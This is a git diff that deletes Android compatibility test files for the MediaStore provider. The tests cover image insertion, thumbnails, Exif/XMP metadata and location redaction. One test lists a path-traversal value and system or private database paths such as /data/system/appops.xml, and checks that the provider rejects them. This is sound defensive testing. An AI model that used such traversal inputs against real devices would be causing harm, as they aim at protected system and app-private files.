-                        .getAbsolutePath(),
-        }) {
-            final ContentValues values = new ContentValues();
-            values.put(MediaColumns.DATA, invalid);
-            assertNull(invalid, mResolver.insert(internalFiles, values));
-        }
-    }
-
-    @Test
-    public void testAccess() throws Exception {
-        final String path = MediaStore.getVolumePath(resolveVolumeName(mVolumeName))
-                .getAbsolutePath();
-        final Uri updateUri = ContentUris.withAppendedId(mExternalFiles,
-                ContentUris.parseId(ProviderTestUtils.stageMedia(R.raw.volantis, mExternalImages)));
-
-        for (String valid : new String[] {
-                path + "/" + System.nanoTime() + ".jpg",
-                path + "/DCIM/" + System.nanoTime() + ".jpg",
-        }) {
-            final ContentValues values = new ContentValues();
-            values.put(MediaColumns.DATA, valid);
-
-            final Uri uri = mResolver.insert(mExternalFiles, values);
-            assertNotNull(valid, uri);
-            mResolver.delete(uri, null, null);
-
-            final int count = mResolver.update(updateUri, values, null, null);
-            assertEquals(valid, 1, count);
-        }
-
-        for (String invalid : new String[] {
-                "/data/media/" + System.nanoTime() + ".jpg",
-                "/data/system/appops.xml",
-                "/data/data/com.android.providers.media/databases/internal.db",
-                path + "/../../../../../data/system/appops.xml",
-        }) {
-            final ContentValues values = new ContentValues();
-            values.put(MediaColumns.DATA, invalid);
-
-            try {
-                assertNull(invalid, mResolver.insert(mExternalFiles, values));
-            } catch (SecurityException tolerated) {
-            }
-
-            try {
-                assertEquals(invalid, 0, mResolver.update(updateUri, values, null, null));
-            } catch (SecurityException tolerated) {
-            }
-        }
-    }
-
-    @Test
-    public void testUpdateMediaType() throws Exception {
-        final File file = new File(ProviderTestUtils.stageDir(mVolumeName),
-                "test" + System.nanoTime() + ".mp3");
-        ProviderTestUtils.stageFile(R.raw.testmp3, file);
-
-        Uri allFilesUri = mExternalFiles;
-        ContentValues values = new ContentValues();
-        values.put(MediaColumns.DATA, file.getAbsolutePath());
-        values.put(FileColumns.MEDIA_TYPE, FileColumns.MEDIA_TYPE_AUDIO);
-        Uri fileUri = mResolver.insert(allFilesUri, values);
-
-        // There is special logic in MediaProvider#update() to update paths when a folder was moved
-        // or renamed. It only checks whether newValues only has one column but assumes the provided
-        // column is _data. We need to guard the case where there is only one column in newValues
-        // and it's not _data.
-        ContentValues newValues = new ContentValues(1);
-        newValues.put(FileColumns.MEDIA_TYPE, FileColumns.MEDIA_TYPE_NONE);
-        mResolver.update(fileUri, newValues, null, null);
-
-        try (Cursor c = mResolver.query(
-                fileUri, new String[] { FileColumns.MEDIA_TYPE }, null, null, null)) {
-            c.moveToNext();
-            assertEquals(FileColumns.MEDIA_TYPE_NONE,
-                    c.getInt(c.getColumnIndex(FileColumns.MEDIA_TYPE)));
-        }
-    }
-
-    @Test
-    public void testDateAddedFrozen() throws Exception {
-        final long startTime = (System.currentTimeMillis() / 1000);
-        final File file = new File(ProviderTestUtils.stageDir(mVolumeName),
-                "test" + System.nanoTime() + ".mp3");
-        ProviderTestUtils.stageFile(R.raw.testmp3, file);
-
-        final ContentValues values = new ContentValues();
-        values.put(MediaColumns.DATA, file.getAbsolutePath());
-        values.put(MediaColumns.DATE_ADDED, 32);
-        final Uri uri = mResolver.insert(mExternalFiles, values);
-
-        assertTrue(queryLong(uri, MediaColumns.DATE_ADDED) >= startTime);
-
-        values.clear();
-        values.put(MediaColumns.DATE_ADDED, 64);
-        mResolver.update(uri, values, null, null);
-
-        assertTrue(queryLong(uri, MediaColumns.DATE_ADDED) >= startTime);
-    }
-
-    @Test
-    public void testInPlaceUpdate_mediaFileWithInvalidRelativePath() throws Exception {
-        final File file = new File(ProviderTestUtils.stageDownloadDir(mVolumeName),
-                "test" + System.nanoTime() + ".jpg");
-        ProviderTestUtils.stageFile(R.raw.scenery, file);
-        Log.d(TAG, "Staged image file at " + file.getAbsolutePath());
-
-        final ContentValues insertValues = new ContentValues();
-        insertValues.put(MediaColumns.DATA, file.getAbsolutePath());
-        insertValues.put(MediaStore.Images.ImageColumns.DESCRIPTION, "Not a cat photo");
-        final Uri uri = mResolver.insert(mExternalImages, insertValues);
-        assertEquals(0, queryLong(uri, MediaStore.Images.ImageColumns.IS_PRIVATE));
-        assertStringColumn(uri, MediaStore.Images.ImageColumns.DESCRIPTION, "Not a cat photo");
-
-        final ContentValues updateValues = new ContentValues();
-        updateValues.put(FileColumns.MEDIA_TYPE, FileColumns.MEDIA_TYPE_IMAGE);
-        updateValues.put(FileColumns.MIME_TYPE, "image/jpeg");
-        updateValues.put(MediaStore.Images.ImageColumns.IS_PRIVATE, 1);
-        int updateRows = mResolver.update(uri, updateValues, null, null);
-        assertEquals(1, updateRows);
-        // Only interested in update not throwing exception. No need in checking whenever values
-        // were actually updates, as it is not in the scope of this test.
-    }
-
-    private long queryLong(Uri uri, String columnName) {
-        try (Cursor c = mResolver.query(uri, new String[] { columnName }, null, null, null)) {
-            assertTrue(c.moveToFirst());
-            return c.getLong(0);
-        }
-    }
-
-    private String queryString(Uri uri, String columnName) {
-        try (Cursor c = mResolver.query(uri, new String[] { columnName }, null, null, null)) {
-            assertTrue(c.moveToFirst());
-            return c.getString(0);
-        }
-    }
-
-    private void assertStringColumn(Uri fileUri, String columnName, String expectedValue) {
-        assertEquals(expectedValue, queryString(fileUri, columnName));
-    }
-}
diff --git a/tests/tests/provider/src/android/provider/cts/MediaStore_Images_MediaTest.java b/tests/tests/provider/src/android/provider/cts/MediaStore_Images_MediaTest.java
deleted file mode 100644
index 799e3ac..0000000
--- a/tests/tests/provider/src/android/provider/cts/MediaStore_Images_MediaTest.java
+++ /dev/null
@@ -1,504 +0,0 @@
-/*
- * Copyright (C) 2009 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.provider.cts;
-
-import static android.provider.cts.MediaStoreTest.TAG;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertNull;
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
-
-import android.app.AppOpsManager;
-import android.content.ContentResolver;
-import android.content.ContentValues;
-import android.content.Context;
-import android.content.pm.PackageManager;
-import android.database.Cursor;
-import android.graphics.Bitmap;
-import android.graphics.BitmapFactory;
-import android.media.ExifInterface;
-import android.net.Uri;
-import android.os.ParcelFileDescriptor;
-import android.os.Process;
-import android.os.storage.StorageManager;
-import android.platform.test.annotations.Presubmit;
-import android.provider.MediaStore;
-import android.provider.MediaStore.Images.ImageColumns;
-import android.provider.MediaStore.Images.Media;
-import android.provider.cts.MediaStoreUtils.PendingParams;
-import android.provider.cts.MediaStoreUtils.PendingSession;
-import android.util.Log;
-import android.util.Size;
-
-import androidx.test.InstrumentationRegistry;
-
-import com.android.compatibility.common.util.FileUtils;
-
-import org.junit.Assume;
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import org.junit.runners.Parameterized;
-import org.junit.runners.Parameterized.Parameter;
-import org.junit.runners.Parameterized.Parameters;
-
-import java.io.File;
-import java.io.FileNotFoundException;
-import java.io.IOException;
-import java.io.InputStream;
-import java.io.OutputStream;
-
-@Presubmit
-@RunWith(Parameterized.class)
-public class MediaStore_Images_MediaTest {
-    private static final String MIME_TYPE_JPEG = "image/jpeg";
-
-    private Context mContext;
-    private ContentResolver mContentResolver;
-
-    private Uri mExternalImages;
-
-    @Parameter(0)
-    public String mVolumeName;
-
-    @Parameters
-    public static Iterable<? extends Object> data() {
-        return ProviderTestUtils.getSharedVolumeNames();
-    }
-
-    @Before
-    public void setUp() throws Exception {
-        mContext = InstrumentationRegistry.getTargetContext();
-        mContentResolver = mContext.getContentResolver();
-
-        Log.d(TAG, "Using volume " + mVolumeName);
-        mExternalImages = MediaStore.Images.Media.getContentUri(mVolumeName);
-    }
-
-    @Test
-    public void testInsertImageWithImagePath() throws Exception {
-        // TODO: expand test to verify paths from secondary storage devices
-        if (!MediaStore.VOLUME_EXTERNAL.equals(mVolumeName)) return;
-
-        final long unique1 = System.nanoTime();
-        final String TEST_TITLE1 = "Title " + unique1;
-
-        final long unique2 = System.nanoTime();
-        final String TEST_TITLE2 = "Title " + unique2;
-
-        Cursor c = Media.query(mContentResolver, mExternalImages, null, null,
-                "_id ASC");
-        int previousCount = c.getCount();
-        c.close();
-
-        // insert an image by path
-        File file = new File(ProviderTestUtils.stageDir(MediaStore.VOLUME_EXTERNAL),
-                "mediaStoreTest1.jpg");
-        String path = file.getAbsolutePath();
-        ProviderTestUtils.stageFile(R.raw.scenery, file);
-        String stringUrl = null;
-        try {
-            stringUrl = Media.insertImage(mContentResolver, path, TEST_TITLE1, null);
-        } catch (FileNotFoundException e) {
-            fail(e.getMessage());
-        } catch (UnsupportedOperationException e) {
-            // the tests will be aborted because the image will be put in sdcard
-            fail("There is no sdcard attached! " + e.getMessage());
-        }
-        assertInsertionSuccess(stringUrl);
-
-        // insert another image by path
-        file = new File(ProviderTestUtils.stageDir(MediaStore.VOLUME_EXTERNAL),
-                "mediaStoreTest2.jpg");
-        path = file.getAbsolutePath();
-        ProviderTestUtils.stageFile(R.raw.scenery, file);
-        stringUrl = null;
-        try {
-            stringUrl = Media.insertImage(mContentResolver, path, TEST_TITLE2, null);
-        } catch (FileNotFoundException e) {
-            fail(e.getMessage());
-        } catch (UnsupportedOperationException e) {
-            // the tests will be aborted because the image will be put in sdcard
-            fail("There is no sdcard attached! " + e.getMessage());
-        }
-        assertInsertionSuccess(stringUrl);
-
-        // query the newly added image
-        c = Media.query(mContentResolver, Uri.parse(stringUrl),
-                new String[] { Media.TITLE, Media.DESCRIPTION, Media.MIME_TYPE });
-        assertEquals(1, c.getCount());
-        c.moveToFirst();
-        assertEquals(TEST_TITLE2, c.getString(c.getColumnIndex(Media.TITLE)));
-        assertEquals(MIME_TYPE_JPEG, c.getString(c.getColumnIndex(Media.MIME_TYPE)));
-        c.close();
-
-        // query all the images in external db and order them by descending id
-        // (make the images added in test case in the first positions)
-        c = Media.query(mContentResolver, mExternalImages,
-                new String[] { Media.TITLE, Media.DESCRIPTION, Media.MIME_TYPE }, null,
-                "_id DESC");
-        assertEquals(previousCount + 2, c.getCount());
-        c.moveToFirst();
-        assertEquals(TEST_TITLE2, c.getString(c.getColumnIndex(Media.TITLE)));
-        assertEquals(MIME_TYPE_JPEG, c.getString(c.getColumnIndex(Media.MIME_TYPE)));
-        c.moveToNext();
-        assertEquals(TEST_TITLE1, c.getString(c.getColumnIndex(Media.TITLE)));
-        assertEquals(MIME_TYPE_JPEG, c.getString(c.getColumnIndex(Media.MIME_TYPE)));
-        c.close();
-
-        // query the second image added in the test
-        c = Media.query(mContentResolver, Uri.parse(stringUrl),
-                new String[] { Media.DESCRIPTION, Media.MIME_TYPE }, Media.TITLE + "=?",
-                new String[] { TEST_TITLE2 }, "_id ASC");
-        assertEquals(1, c.getCount());
-        c.moveToFirst();
-        assertEquals(MIME_TYPE_JPEG, c.getString(c.getColumnIndex(Media.MIME_TYPE)));
-        c.close();
-    }
-
-    @Test
-    public void testInsertImageWithBitmap() throws Exception {
-        final long unique3 = System.nanoTime();
-        final String TEST_TITLE3 = "Title " + unique3;
-        final String TEST_DESCRIPTION3 = "Description " + unique3;
-
-        // insert the image by bitmap
-        Bitmap src = BitmapFactory.decodeResource(mContext.getResources(), R.raw.scenery);
-        String stringUrl = null;
-        try{
-            stringUrl = Media.insertImage(mContentResolver, src, TEST_TITLE3, TEST_DESCRIPTION3);
-        } catch (UnsupportedOperationException e) {
-            // the tests will be aborted because the image will be put in sdcard
-            fail("There is no sdcard attached! " + e.getMessage());
-        }
-        assertInsertionSuccess(stringUrl);
-
-        Cursor c = Media.query(mContentResolver, Uri.parse(stringUrl), new String[] { Media.DATA },
-                null, "_id ASC");
-        c.moveToFirst();
-        // get the bimap by the path
-        Bitmap result = Media.getBitmap(mContentResolver,
-                    Uri.fromFile(new File(c.getString(c.getColumnIndex(Media.DATA)))));
-
-        // can not check the identity between the result and source bitmap because
-        // source bitmap is compressed before it is saved as result bitmap
-        assertEquals(src.getWidth(), result.getWidth());
-        assertEquals(src.getHeight(), result.getHeight());
-    }
-
-    @Presubmit
-    @Test
-    public void testGetContentUri() {
-        Cursor c = null;
-        assertNotNull(c = mContentResolver.query(Media.getContentUri("internal"), null, null, null,
-                null));
-        c.close();
-        assertNotNull(c = mContentResolver.query(Media.getContentUri(mVolumeName), null, null, null,
-                null));
-        c.close();
-    }
-
-    private void cleanExternalMediaFile(String path) {
-        mContentResolver.delete(mExternalImages, "_data=?", new String[] { path });
-        new File(path).delete();
-    }
-
-    @Test
-    public void testStoreImagesMediaExternal() throws Exception {
-        final File dir = ProviderTestUtils.stageDir(mVolumeName);
-        final File file = ProviderTestUtils.stageFile(R.raw.scenery,
-                new File(dir, "cts" + System.nanoTime() + ".jpg"));
-
-        final String externalPath = file.getAbsolutePath();
-        final long numBytes = file.length();
-
-        ProviderTestUtils.waitUntilExists(file);
-
-        ContentValues values = new ContentValues();
-        values.put(Media.ORIENTATION, 0);
-        values.put(Media.PICASA_ID, 0);
-        long dateTaken = System.currentTimeMillis();
-        values.put(Media.DATE_TAKEN, dateTaken);
-        values.put(Media.DESCRIPTION, "This is a image");
-        values.put(Media.IS_PRIVATE, 1);
-        values.put(Media.MINI_THUMB_MAGIC, 0);
-        values.put(Media.DATA, externalPath);
-        values.put(Media.DISPLAY_NAME, file.getName());
-        values.put(Media.MIME_TYPE, "image/jpeg");
-        values.put(Media.SIZE, numBytes);
-        values.put(Media.TITLE, "testimage");
-        long dateAdded = System.currentTimeMillis() / 1000;
-        values.put(Media.DATE_ADDED, dateAdded);
-        long dateModified = System.currentTimeMillis() / 1000;
-        values.put(Media.DATE_MODIFIED, dateModified);
-
-        // insert
-        Uri uri = mContentResolver.insert(mExternalImages, values);
-        assertNotNull(uri);
-
-        try {
-            // query
-            Cursor c = mContentResolver.query(uri, null, null, null, null);
-            assertEquals(1, c.getCount());
-            c.moveToFirst();
-            long id = c.getLong(c.getColumnIndex(Media._ID));
-            assertTrue(id > 0);
-            assertEquals(0, c.getInt(c.getColumnIndex(Media.ORIENTATION)));
-            assertEquals(0, c.getLong(c.getColumnIndex(Media.PICASA_ID)));
-            assertEquals(dateTaken, c.getLong(c.getColumnIndex(Media.DATE_TAKEN)));
-            assertEquals("This is a image",
-                    c.getString(c.getColumnIndex(Media.DESCRIPTION)));
-            assertEquals(1, c.getInt(c.getColumnIndex(Media.IS_PRIVATE)));
-            assertEquals(0, c.getLong(c.getColumnIndex(Media.MINI_THUMB_MAGIC)));
-            assertEquals(externalPath, c.getString(c.getColumnIndex(Media.DATA)));
-            assertEquals(file.getName(), c.getString(c.getColumnIndex(Media.DISPLAY_NAME)));
-            assertEquals("image/jpeg", c.getString(c.getColumnIndex(Media.MIME_TYPE)));
-            assertEquals("testimage", c.getString(c.getColumnIndex(Media.TITLE)));
-            assertEquals(numBytes, c.getInt(c.getColumnIndex(Media.SIZE)));
-            long realDateAdded = c.getLong(c.getColumnIndex(Media.DATE_ADDED));
-            assertTrue(realDateAdded >= dateAdded);
-            // there can be delay as time is read after creation
-            assertTrue(Math.abs(dateModified - c.getLong(c.getColumnIndex(Media.DATE_MODIFIED)))
-                       < 5);
-            c.close();
-        } finally {
-            // delete
-            assertEquals(1, mContentResolver.delete(uri, null, null));
-            file.delete();
-        }
-    }
-
-    private void assertInsertionSuccess(String stringUrl) throws IOException {
-        final Uri uri = Uri.parse(stringUrl);
-
-        // check whether the thumbnails are generated
-        try (Cursor c = mContentResolver.query(uri, null, null, null)) {
-            assertEquals(1, c.getCount());
-        }
-
-        assertNotNull(mContentResolver.loadThumbnail(uri, new Size(512, 384), null));
-        assertNotNull(mContentResolver.loadThumbnail(uri, new Size(96, 96), null));
-    }
-
-    /**
-     * This test doesn't hold
-     * {@link android.Manifest.permission#ACCESS_MEDIA_LOCATION}, so Exif
-     * location information should be redacted.
-     */
-    @Test
-    public void testLocationRedaction() throws Exception {
-        // STOPSHIP: remove this once isolated storage is always enabled
-        Assume.assumeTrue(StorageManager.hasIsolatedStorage());
-
-        final String displayName = "cts" + System.nanoTime();
-        final PendingParams params = new PendingParams(
-                mExternalImages, displayName, "image/jpeg");
-
-        final Uri pendingUri = MediaStoreUtils.createPending(mContext, params);
-        final Uri publishUri;
-        try (PendingSession session = MediaStoreUtils.openPending(mContext, pendingUri)) {
-            try (InputStream in = mContext.getResources().openRawResource(R.raw.lg_g4_iso_800_jpg);
-                 OutputStream out = session.openOutputStream()) {
-                android.os.FileUtils.copy(in, out);
-            }
-            publishUri = session.publish();
-        }
-
-        final Uri originalUri = MediaStore.setRequireOriginal(publishUri);
-
-        // Since we own the image, we should be able to see the Exif data that
-        // we ourselves contributed
-        try (InputStream is = mContentResolver.openInputStream(publishUri)) {
-            final ExifInterface exif = new ExifInterface(is);
-            final float[] latLong = new float[2];
-            exif.getLatLong(latLong);
-            assertEquals(53.83451, latLong[0], 0.001);
-            assertEquals(10.69585, latLong[1], 0.001);
-
-            String xmp = exif.getAttribute(ExifInterface.TAG_XMP);
-            assertTrue("Failed to read XMP longitude", xmp.contains("53,50.070500N"));
-            assertTrue("Failed to read XMP latitude", xmp.contains("10,41.751000E"));
-            assertTrue("Failed to read non-location XMP", xmp.contains("LensDefaults"));
-        }
-        // As owner, we should be able to request the original bytes
-        try (ParcelFileDescriptor pfd = mContentResolver.openFileDescriptor(originalUri, "r")) {
-        }
-
-        // Remove ACCESS_MEDIA_LOCATION permission
-        try {
-            InstrumentationRegistry.getInstrumentation().getUiAutomation().
-                    adoptShellPermissionIdentity("android.permission.MANAGE_APP_OPS_MODES");
-
-            // Revoking ACCESS_MEDIA_LOCATION permission will kill the test app.
-            // Deny access_media_permission App op to revoke this permission.
-            if (mContext.getPackageManager().checkPermission(
-                    android.Manifest.permission.ACCESS_MEDIA_LOCATION, mContext.getPackageName())
-                    == PackageManager.PERMISSION_GRANTED) {
-
-                mContext.getSystemService(AppOpsManager.class).setUidMode(
-                        "android:access_media_location", Process.myUid(),
-                        AppOpsManager.MODE_IGNORED);
-            }
-        } finally {
-            InstrumentationRegistry.getInstrumentation().getUiAutomation().
-                    dropShellPermissionIdentity();
-        }
-
-        // Now remove ownership, which means that Exif/XMP location data should be redacted
-        ProviderTestUtils.executeShellCommand("content update"
-                + " --user " + InstrumentationRegistry.getTargetContext().getUserId()
-                + " --uri " + publishUri + " --bind owner_package_name:n:",
-                InstrumentationRegistry.getInstrumentation().getUiAutomation());
-        try (InputStream is = mContentResolver.openInputStream(publishUri)) {
-            final ExifInterface exif = new ExifInterface(is);
-            final float[] latLong = new float[2];
-            exif.getLatLong(latLong);
-            assertEquals(0, latLong[0], 0.001);
-            assertEquals(0, latLong[1], 0.001);
-
-            String xmp = exif.getAttribute(ExifInterface.TAG_XMP);
-            assertFalse("Failed to redact XMP longitude", xmp.contains("53,50.070500N"));
-            assertFalse("Failed to redact XMP latitude", xmp.contains("10,41.751000E"));
-            assertTrue("Redacted non-location XMP", xmp.contains("LensDefaults"));
-        }
-        // We can't request original bytes unless we have permission
-        try (ParcelFileDescriptor pfd = mContentResolver.openFileDescriptor(originalUri, "r")) {
-            fail("Able to read original content without ACCESS_MEDIA_LOCATION");
-        } catch (UnsupportedOperationException expected) {
-        }
-    }
-
-    @Test
-    public void testLocationDeprecated() throws Exception {
-        final String displayName = "cts" + System.nanoTime();
-        final PendingParams params = new PendingParams(
-                mExternalImages, displayName, "image/jpeg");
-
-        final Uri pendingUri = MediaStoreUtils.createPending(mContext, params);
-        final Uri publishUri;
-        try (PendingSession session = MediaStoreUtils.openPending(mContext, pendingUri)) {
-            try (InputStream in = mContext.getResources().openRawResource(R.raw.volantis);
-                    OutputStream out = session.openOutputStream()) {
-                android.os.FileUtils.copy(in, out);
-            }
-            publishUri = session.publish();
-        }
-
-        // Verify that location wasn't indexed
-        try (Cursor c = mContentResolver.query(publishUri,
-                new String[] { ImageColumns.LATITUDE, ImageColumns.LONGITUDE }, null, null)) {
-            assertTrue(c.moveToFirst());
-            assertTrue(c.isNull(0));
-            assertTrue(c.isNull(1));
-        }
-
-        // Verify that location values aren't recorded
-        final ContentValues values = new ContentValues();
-        values.put(ImageColumns.LATITUDE, 32f);
-        values.put(ImageColumns.LONGITUDE, 64f);
-        mContentResolver.update(publishUri, values, null, null);
-
-        try (Cursor c = mContentResolver.query(publishUri,
-                new String[] { ImageColumns.LATITUDE, ImageColumns.LONGITUDE }, null, null)) {
-            assertTrue(c.moveToFirst());
-            assertTrue(c.isNull(0));
-            assertTrue(c.isNull(1));
-        }
-    }
-
-    @Test
-    public void testCanonicalize() throws Exception {
-        // Remove all audio left over from other tests
-        ProviderTestUtils.executeShellCommand("content delete"
-                + " --user " + InstrumentationRegistry.getTargetContext().getUserId()
-                + " --uri " + mExternalImages,
-                InstrumentationRegistry.getInstrumentation().getUiAutomation());
-
-        // Publish some content
-        final File dir = ProviderTestUtils.stageDir(mVolumeName);
-        final Uri a = ProviderTestUtils.scanFileFromShell(
-                ProviderTestUtils.stageFile(R.raw.scenery, new File(dir, "a.jpg")));
-        final Uri b = ProviderTestUtils.scanFileFromShell(
-                ProviderTestUtils.stageFile(R.raw.lg_g4_iso_800_jpg, new File(dir, "b.jpg")));
-        final Uri c = ProviderTestUtils.scanFileFromShell(
-                ProviderTestUtils.stageFile(R.raw.scenery, new File(dir, "c.jpg")));
-
-        // Confirm we can canonicalize and recover it
-        final Uri canonicalized = mContentResolver.canonicalize(b);
-        assertNotNull(canonicalized);
-        assertEquals(b, mContentResolver.uncanonicalize(canonicalized));
-
-        // Delete all items above
-        mContentResolver.delete(a, null, null);
-        mContentResolver.delete(b, null, null);
-        mContentResolver.delete(c, null, null);
-
-        // Confirm canonical item isn't found
-        assertNull(mContentResolver.uncanonicalize(canonicalized));
-
-        // Publish data again and confirm we can recover it
-        final Uri d = ProviderTestUtils.scanFileFromShell(
-                ProviderTestUtils.stageFile(R.raw.lg_g4_iso_800_jpg, new File(dir, "d.jpg")));
-        assertEquals(d, mContentResolver.uncanonicalize(canonicalized));
-    }
-
-    @Test
-    public void testMetadata() throws Exception {
-        final Uri uri = ProviderTestUtils.stageMedia(R.raw.lg_g4_iso_800_jpg, mExternalImages,
-                "image/jpeg");
-
-        try (Cursor c = mContentResolver.query(uri, null, null, null)) {
-            assertTrue(c.moveToFirst());
-
-            // Confirm that we parsed Exif metadata
-            assertEquals(0, c.getLong(c.getColumnIndex(ImageColumns.ORIENTATION)));
-            assertEquals(600, c.getLong(c.getColumnIndex(ImageColumns.WIDTH)));
-            assertEquals(337, c.getLong(c.getColumnIndex(ImageColumns.HEIGHT)));
-
-            // Confirm that we parsed XMP metadata
-            assertEquals("xmp.did:041dfd42-0b46-4302-918a-836fba5016ed",
-                    c.getString(c.getColumnIndex(ImageColumns.DOCUMENT_ID)));
-            assertEquals("xmp.iid:041dfd42-0b46-4302-918a-836fba5016ed",
-                    c.getString(c.getColumnIndex(ImageColumns.INSTANCE_ID)));
-            assertEquals("3F9DD7A46B26513A7C35272F0D623A06",
-                    c.getString(c.getColumnIndex(ImageColumns.ORIGINAL_DOCUMENT_ID)));
-
-            // Confirm that timestamp was parsed with offset information
-            assertEquals(1447346778000L + 25200000L,
-                    c.getLong(c.getColumnIndex(ImageColumns.DATE_TAKEN)));
-
-            // We just added and modified the file, so should be recent
-            final long added = c.getLong(c.getColumnIndex(ImageColumns.DATE_ADDED));
-            final long modified = c.getLong(c.getColumnIndex(ImageColumns.DATE_MODIFIED));
-            final long now = System.currentTimeMillis() / 1000;
-            assertTrue("Invalid added time " + added, Math.abs(added - now) < 5);
-            assertTrue("Invalid modified time " + modified, Math.abs(modified - now) < 5);
-
-            // Confirm that we trusted value from XMP metadata
-            assertEquals("image/dng", c.getString(c.getColumnIndex(ImageColumns.MIME_TYPE)));
-
-            assertEquals(107704, c.getLong(c.getColumnIndex(ImageColumns.SIZE)));
-
-            final String displayName = c.getString(c.getColumnIndex(ImageColumns.DISPLAY_NAME));
-            assertTrue("Invalid display name " + displayName, displayName.startsWith("cts"));
-            assertTrue("Invalid display name " + displayName, displayName.endsWith(".jpg"));
-        }
-    }
-}
diff --git a/tests/tests/provider/src/android/provider/cts/MediaStore_Images_ThumbnailsTest.java b/tests/tests/provider/src/android/provider/cts/MediaStore_Images_ThumbnailsTest.java
deleted file mode 100644
index 2d28405..0000000
--- a/tests/tests/provider/src/android/provider/cts/MediaStore_Images_ThumbnailsTest.java
+++ /dev/null
@@ -1,511 +0,0 @@
-/*
- * Copyright (C) 2009 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.provider.cts;
-
-import static android.provider.cts.MediaStoreTest.TAG;
-import static android.provider.cts.ProviderTestUtils.assertExists;
-import static android.provider.cts.ProviderTestUtils.assertNotExists;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertNull;
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
-
-import android.content.ContentResolver;
-import android.content.ContentUris;
-import android.content.ContentValues;
-import android.content.Context;
-import android.content.res.Configuration;
-import android.content.res.Resources;
-import android.database.Cursor;
-import android.graphics.Bitmap;
-import android.graphics.BitmapFactory;
-import android.graphics.Canvas;
-import android.graphics.Color;
-import android.graphics.ImageDecoder;
-import android.net.Uri;
-import android.os.Environment;
-import android.platform.test.annotations.Presubmit;
-import android.provider.MediaStore;
-import android.provider.MediaStore.Images.Media;
-import android.provider.MediaStore.Images.Thumbnails;
-import android.provider.MediaStore.MediaColumns;
-import android.provider.cts.MediaStoreUtils.PendingParams;
-import android.provider.cts.MediaStoreUtils.PendingSession;
-import android.util.DisplayMetrics;
-import android.util.Log;
-import android.util.Size;
-
-import androidx.test.InstrumentationRegistry;
-
-import junit.framework.AssertionFailedError;
-
-import org.junit.After;
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import org.junit.runners.Parameterized;
-import org.junit.runners.Parameterized.Parameter;
-import org.junit.runners.Parameterized.Parameters;
-
-import java.io.File;
-import java.io.FileNotFoundException;
-import java.io.OutputStream;
-import java.util.ArrayList;
-
-@Presubmit
-@RunWith(Parameterized.class)
-public class MediaStore_Images_ThumbnailsTest {
-    private ArrayList<Uri> mRowsAdded;
-
-    private Context mContext;
-    private ContentResolver mContentResolver;
-
-    private Uri mExternalImages;
-
-    @Parameter(0)
-    public String mVolumeName;
-
-    private int mLargestDimension;
-
-    @Parameters
-    public static Iterable<? extends Object> data() {
-        return ProviderTestUtils.getSharedVolumeNames();
-    }
-
-    private Uri mRed;
-    private Uri mBlue;
-
-    @After
-    public void tearDown() throws Exception {
-        for (Uri row : mRowsAdded) {
-            try {
-                mContentResolver.delete(row, null, null);
-            } catch (UnsupportedOperationException e) {
-                // There is no way to delete rows from table "thumbnails" of internals database.
-                // ignores the exception and make the loop goes on
-            }
-        }
-    }
-
-    @Before
-    public void setUp() throws Exception {
-        mContext = InstrumentationRegistry.getTargetContext();
-        mContentResolver = mContext.getContentResolver();
-
-        mRowsAdded = new ArrayList<Uri>();
-
-        Log.d(TAG, "Using volume " + mVolumeName);
-        mExternalImages = MediaStore.Images.Media.getContentUri(mVolumeName);
-
-        final Resources res = mContext.getResources();
-        final Configuration config = res.getConfiguration();
-        mLargestDimension = (int) (Math.max(config.screenWidthDp, config.screenHeightDp)
-                * res.getDisplayMetrics().density);
-    }
-
-    private void prepareImages() throws Exception {
-        mRed = ProviderTestUtils.stageMedia(R.raw.scenery, mExternalImages);
-        mBlue = ProviderTestUtils.stageMedia(R.raw.scenery, mExternalImages);
-        mRowsAdded.add(mRed);
-        mRowsAdded.add(mBlue);
-    }
-
-    public static void assertMostlyEquals(long expected, long actual, long delta) {
-        if (Math.abs(expected - actual) > delta) {
-            throw new AssertionFailedError("Expected roughly " + expected + " but was " + actual);
-        }
-    }
-
-    @Test
-    public void testQueryExternalThumbnails() throws Exception {
-        if (!MediaStore.VOLUME_EXTERNAL.equals(mVolumeName)) return;
-        prepareImages();
-
-        Cursor c = Thumbnails.queryMiniThumbnails(mContentResolver,
-                Thumbnails.EXTERNAL_CONTENT_URI, Thumbnails.MICRO_KIND, null);
-        int previousMicroKindCount = c.getCount();
-        c.close();
-
-        // add a thumbnail
-        final File file = new File(ProviderTestUtils.stageDir(MediaStore.VOLUME_EXTERNAL),
-                "testThumbnails.jpg");
-        final String path = file.getAbsolutePath();
-        ProviderTestUtils.stageFile(R.raw.scenery, file);
-        ContentValues values = new ContentValues();
-        values.put(Thumbnails.KIND, Thumbnails.MINI_KIND);
-        values.put(Thumbnails.DATA, path);
-        values.put(Thumbnails.IMAGE_ID, ContentUris.parseId(mRed));
-        Uri uri = mContentResolver.insert(Thumbnails.EXTERNAL_CONTENT_URI, values);
-        if (uri != null) {
-            mRowsAdded.add(uri);
-        }
-
-        // query with the uri of the thumbnail and the kind
-        c = Thumbnails.queryMiniThumbnails(mContentResolver, uri, Thumbnails.MINI_KIND, null);
